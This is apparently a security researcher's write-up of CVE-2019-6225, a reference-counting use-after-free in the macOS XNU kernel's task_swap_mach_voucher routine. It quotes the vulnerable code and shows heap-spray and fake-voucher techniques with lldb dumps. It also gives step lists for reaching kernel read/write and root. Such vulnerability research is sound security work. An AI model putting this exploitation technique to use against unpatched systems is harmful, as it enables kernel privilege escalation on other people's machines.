Voucher, Port and Message: Exploit CVE-2019-6225 on macOS

CVE-2019-6225

Vulnerability

The problem is in the MIG code.

1
2
3
4
routine task_swap_mach_voucher(
task : task_t;
new_voucher : ipc_voucher_t;
inout old_voucher : ipc_voucher_t);

this routine simply swaps two vouchers. Let’s take a look at the following codes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
mig_internal novalue _Xtask_swap_mach_voucher
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
{
...
kern_return_t RetCode;
task_t task;
ipc_voucher_t new_voucher;
ipc_voucher_t old_voucher;
...
task = convert_port_to_task(In0P->Head.msgh_request_port);

new_voucher = convert_port_to_voucher(In0P->new_voucher.name);

old_voucher = convert_port_to_voucher(In0P->old_voucher.name);

RetCode = task_swap_mach_voucher(task, new_voucher, &old_voucher);

ipc_voucher_release(new_voucher);

task_deallocate(task);

if (RetCode != KERN_SUCCESS) {
MIG_RETURN_ERROR(OutP, RetCode);
}
...
if (IP_VALID((ipc_port_t)In0P->old_voucher.name))
ipc_port_release_send((ipc_port_t)In0P->old_voucher.name);

if (IP_VALID((ipc_port_t)In0P->new_voucher.name))
ipc_port_release_send((ipc_port_t)In0P->new_voucher.name);
...
OutP->old_voucher.name = (mach_port_t)convert_voucher_to_port(old_voucher);

OutP->Head.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
OutP->Head.msgh_size = (mach_msg_size_t)(sizeof(Reply));
OutP->msgh_body.msgh_descriptor_count = 1;
}

Well, everything seems correct here. Increase reference count and decrease it later.

1
2
3
4
5
6
7
8
9
new_voucher = convert_port_to_voucher(In0P->new_voucher.name);

old_voucher = convert_port_to_voucher(In0P->old_voucher.name);

RetCode = task_swap_mach_voucher(task, new_voucher, &old_voucher);

ipc_voucher_release(new_voucher);

convert_voucher_to_port(old_voucher);

But the implementation of task_swap_mach_voucher

1
2
3
4
5
6
7
8
9
10
11
12
kern_return_t
task_swap_mach_voucher(
task_t task,
ipc_voucher_t new_voucher,
ipc_voucher_t *in_out_old_voucher)
{
if (TASK_NULL == task)
return KERN_INVALID_TASK;

*in_out_old_voucher = new_voucher;
return KERN_SUCCESS;
}

Let in_out_old_voucher points to new_voucher.
Notice that new_voucher and old_voucher will point to the same voucher after the swapping routine, so ipc_voucher_release() and convert_voucher_to_port() actually decrease the reference count for a same voucher twice! Actually, there are two bugs in this routine. One can release the voucher and one can increase the reference count.

Exploit

Obviously, the routine above caused a UaF but the problems is how to exploit it. Usually, we can convert a UaF into type confusion. But vouchers are allocated in a specific kernel zone, ipc.voucher, in XNU. If we want to achieve type confusion attack, we need to allocate the same memory space in another kernel zone.

Cross Zone Attack

Each XNU kernel zone has a free list and the memory allocator can retrieve free memory blocks from the free list. Once the elements in the free list run out, they need to allocate memory from the OS again. So if we can force the kernel to perform garbage collection and allocate tons of memory in other zones, we can make the ipc_voucher_t pointer points to a new kernel zone other than ipc.voucher.

Heap Spray

Depending on our exploitation strategy, we have two different ways to do the heap spraying.

OOL Ports

In XNU, we can send mach ports with out-of-line messages. Let’s take a look at the following codes.

1
2
3
4
5
6
7
8
9
10
11
12
13
ipc_kmsg_copyin_ool_ports_descriptor(
mach_msg_ool_ports_descriptor_t *dsc,
mach_msg_descriptor_t *user_dsc,
int is_64bit,
vm_map_t map,
ipc_space_t space,
ipc_object_t dest,
ipc_kmsg_t kmsg,
mach_msg_return_t *mr) {
// .........
data = kalloc(ports_length);
// .........
}

So with specific ports count, we can kalloc in any kalloc.x zone we want. Here we show any example, we reallocate the ith_voucher field in kalloc.1024 will 0xffffffffffffffff.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(lldb) p (*(thread_t)0xffffff8029275840).ith_voucher
(ipc_voucher_t) $316 = 0xffffff803527a320
(lldb) whatis (*(thread_t)0xffffff8029275840).ith_voucher
ADDRESS TYPE OFFSET_IN_PG METADATA
0xffffff803527a320 Element 800/4096 0xffffff80234eed70

Metadata Description:
ZONE_METADATA FREELIST PG_CNT FREE_CNT ZONE NAME
0xffffff80234eed70 0x0000000000000000 1 0 0xffffff801d890310 kalloc.1024

Hexdump:
ffffff803527a310 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
ffffff803527a320 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
ffffff803527a330 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
(lldb)
IOSurface

IOSurfaceRootClient exports IOSurfaceRootUserClient::s_set_value(IOSurfaceRootUserClient*,void *,IOExternalMethodArguments *) and use OSUnserializeXML to unserialize XML. If we pass a crafted binary data to set_value, we can alloc any data in any kalloc.x zone we want. In this way, we can even construct a fake voucher instead of simple port pointer with OOL message.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(lldb) p *(ipc_voucher_t)0xffffff802d843af0
(ipc_voucher) $9 = {
iv_hash = 33
iv_sum = 4097
iv_refs = 1
iv_table_size = 8
iv_inline_table = ([0] = 4097, [1] = 0, [2] = 0, [3] = 0, [4] = 0, [5] = 0, [6] = 0, [7] = 0)
iv_table = 0xffffff802d843b00
iv_port = 0xffffff802d8485e0
iv_hash_link = {
next = 0xffffff802dc65280
prev = 0xffffff802d8341e0
}
}
(lldb) x/16xg 0xffffff802d843af0
0xffffff802d843af0: 0x0000100100000021 0x0000000800000001 <--- overwrite with our fake voucher
0xffffff802d843b00: 0x0000000000001001 0x0000000000000000
0xffffff802d843b10: 0x0000000000000000 0x0000000000000000
0xffffff802d843b20: 0xffffff802d843b00 0xffffff802d8485e0
0xffffff802d843b30: 0xffffff802dc65280 0xffffff802d8341e0

Also, we can even replace the iv_port field in voucher, so that we can completely control the ipc_port.

1
2
3
4
5
6
(lldb) x/32xg 0xffffff80170cf690
0xffffff80170cf690: 0x4141414141414141 0x0000000000000011 <--- sum, hash, reference
0xffffff80170cf6a0: 0x0000000000000000 0x0000000000000000
0xffffff80170cf6b0: 0x0000000000000000 0x0000000000000000
0xffffff80170cf6c0: 0x0000000000000000 0x0000000009556000 <--- fake port
0xffffff80170cf6d0: 0x0000000000000000 0x0000000000000000

Exploit Strategy

Based on two different cross zone attack method, we can have two different strategy.

  • Spray pipe buffer
  • use thread_set_mach_voucher to save our uaf voucher pointer
  • release the uaf voucher
  • reallocate the uaf voucher with OOL ports pointer, let iv_ref field overlaps with the pointer
  • use CVE-2019-6225 again to tweak iv_ref, move the pointer to the pipe buffer control by us.
  • construct the fake port in pipe buffer
  • receive the OOL ports again in userland
  • construct tfp0, profit!

But it’s a little bit difficult to get a valid iv_ref value since we need to make sure the higher 31 to 27 bits are 0.

So we can consider the following steps

  • use thread_set_mach_voucher to save our uaf voucher pointer
  • release the uaf voucher
  • replace the uaf voucher with fake voucher, and let iv_port points to the fake ipc_port in userland
  • use thread_get_mach_voucher to get the fake port
  • use pid_for_task to read kernel
  • build tfp0, profit!

Get root privilege

KASLR

With clock_sleep_trap we can brute force kernel slide.

Kernel Read and Write

We can still use pid_for_task to read any kernel memory once we construct our fake task. Since iOS 11, Apple added a new mitigation that only kernel can resolve kernel task port. But if we want to achieve arbitrary kernel rw, we only need the vm map of kernel task. So we can copy the vm_map_t pointer from kernel task to our fake task then we can get arbitrary kernel and then can get root privilege by overwriting cred. Check https://github.com/KpwnZ/g3tr00t for the exploitation detail.

References

https://googleprojectzero.blogspot.com/2019/01/voucherswap-exploiting-mig-reference.html

https://blog.siguza.net/v0rtex/

https://github.com/PsychoTea/machswap2